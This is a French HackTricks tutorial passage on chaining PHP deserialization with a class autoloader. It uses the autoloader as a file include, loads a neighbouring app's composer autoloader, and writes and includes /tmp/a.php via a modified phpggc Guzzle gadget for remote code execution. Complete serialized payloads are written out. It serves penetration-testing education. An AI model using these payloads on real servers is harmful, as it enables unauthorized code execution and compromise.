# PHP - Désérialisation + Chargement Automatique de Classes
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Apprenez et pratiquez le Hacking GCP : [**HackTricks Formation GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
{% endhint %}
Tout d'abord, vous devriez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
## Désérialisation PHP + spl\_autoload\_register + LFI/Gadget
Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une webapp** sans **aucune** bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **autre webapp composer avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur composer de l'autre webapp** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de la webapp vulnérable à la désérialisation.
Étapes :
* Vous avez trouvé une **désérialisation** et il **n'y a pas de gadget** dans le code de l'application actuelle
* Vous pouvez abuser d'une fonction **`spl_autoload_register`** comme suit pour **charger n'importe quel fichier local avec l'extension `.php`**
* Pour cela, vous utilisez une désérialisation où le nom de la classe sera à l'intérieur de **`$name`**. Vous **ne pouvez pas utiliser "/" ou "."** dans un nom de classe dans un objet sérialisé, mais le **code** est **en train de remplacer** les **traits d'union** ("\_") **par des barres obliques** ("/"). Ainsi, un nom de classe tel que `tmp_passwd` sera transformé en `/tmp/passwd.php` et le code essaiera de le charger.\
Un **exemple de gadget** sera : **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser de cette fonctionnalité directement** et obtenir déjà un RCE.
{% endhint %}
Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du **même conteneur** une autre page web composer avec une **bibliothèque vulnérable à un gadget `phpggc`**.
* Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur composer de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). **Connaissant le chemin de l'application**, vous pouvez y parvenir très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur composer était dans `/www/frontend/vendor/autoload.php`)
* Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le phpgcc`** **payload** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
* REMARQUE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et défini **tous les attributs** des classes **de privé à public**. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur.
* Maintenant, nous avons le moyen de **charger le chargeur composer de l'autre application** et d'avoir un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
* Vous pouvez voir **d'abord le chargeur être chargé puis le payload**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web**. Donc, comme vous pouvez le voir dans le payload, PHP appelle **`system`** avec un **base64** qui est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de payload** que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp **pour charger le fichier généré `/tmp/a.php`**. Il suffit de l'ajouter au gadget de désérialisation :
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Résumé de la charge utile**
* **Charger l'autoload de composer** d'une autre webapp dans le même conteneur
* **Charger un gadget phpggc** pour abuser d'une bibliothèque de l'autre webapp (la webapp initiale vulnérable à la désérialisation n'avait pas de gadget dans ses bibliothèques)
* Le gadget va **créer un fichier avec une charge utile PHP** dessus dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de la webapp ne peut pas écrire dans aucun dossier de aucune webapp)
* La dernière partie de notre charge utile va **charger le fichier PHP généré** qui exécutera des commandes
J'ai dû **appeler cette désérialisation deux fois**. Dans mes tests, la première fois le fichier `/tmp/a.php` a été créé mais pas chargé, et la deuxième fois il a été correctement chargé.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}